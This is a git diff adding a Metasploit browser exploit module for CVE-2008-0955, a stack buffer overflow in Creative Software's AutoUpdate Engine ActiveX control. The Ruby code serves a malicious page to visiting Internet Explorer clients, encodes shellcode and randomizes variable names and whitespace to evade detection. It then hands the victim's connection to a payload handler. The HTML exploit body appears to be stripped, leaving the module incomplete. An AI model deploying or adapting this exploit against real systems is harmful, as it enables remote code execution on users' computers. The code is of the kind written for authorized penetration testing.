diff --git a/modules/exploits/windows/browser/creative_software_cachefolder.rb b/modules/exploits/windows/browser/creative_software_cachefolder.rb new file mode 100644 index 0000000000..9df59f0a43 --- /dev/null +++ b/modules/exploits/windows/browser/creative_software_cachefolder.rb @@ -0,0 +1,116 @@ +## +## $Id: creative_software_cachefolder.rb +### + +### +## This file is part of the Metasploit Framework and may be subject to +## redistribution and commercial restrictions. Please see the Metasploit +## Framework web site for more information on licensing and terms of use. +## http://metasploit.com/projects/Framework/ +### + + +require 'msf/core' + +module Msf + +class Exploits::Windows::Browser::CreativeSoftwareCachefolder < Msf::Exploit::Remote + + include Exploit::Remote::HttpServer::HTML + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Creative Software AutoUpdate Engine ActiveX Control Buffer Overflow', + 'Description' => %q{ + This module exploits a stack overflow in Creative Software AutoUpdate Engine. When + sending an overly long string to the cachefolder() property of CTSUEng.ocx + an attacker may be able to execute arbitrary code. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'MC', ], + 'Version' => '$Revision$', + 'References' => + [ + [ 'CVE', '2008-0955' ], + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'process', + }, + 'Payload' => + { + 'Space' => 1024, + 'BadChars' => "\x00", + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ] + ], + 'DisclosureDate' => 'May 28 2008', + 'DefaultTarget' => 0)) + end + + def autofilter + false + end + + def check_dependencies + use_zlib + end + + def on_request_uri(cli, request) + # Re-generate the payload + return if ((p = regenerate_payload(cli)) == nil) + + # Encode the shellcode + shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) + + # Randomize the javascript variable names + vname = rand_text_alpha(rand(100) + 1) + var_i = rand_text_alpha(rand(30) + 2) + rand1 = rand_text_alpha(rand(100) + 1) + rand2 = rand_text_alpha(rand(100) + 1) + rand3 = rand_text_alpha(rand(100) + 1) + rand4 = rand_text_alpha(rand(100) + 1) + rand5 = rand_text_alpha(rand(100) + 1) + rand6 = rand_text_alpha(rand(100) + 1) + rand7 = rand_text_alpha(rand(100) + 1) + rand8 = rand_text_alpha(rand(100) + 1) + + content = %Q| + + + + + | + + # Randomize the whitespace in the document + content = Rex::Text.randomize_space(content) + + print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") + + # Transmit the response to the client + send_response_html(cli, content) + + # Handle the payload + handler(cli) + end + +end +end +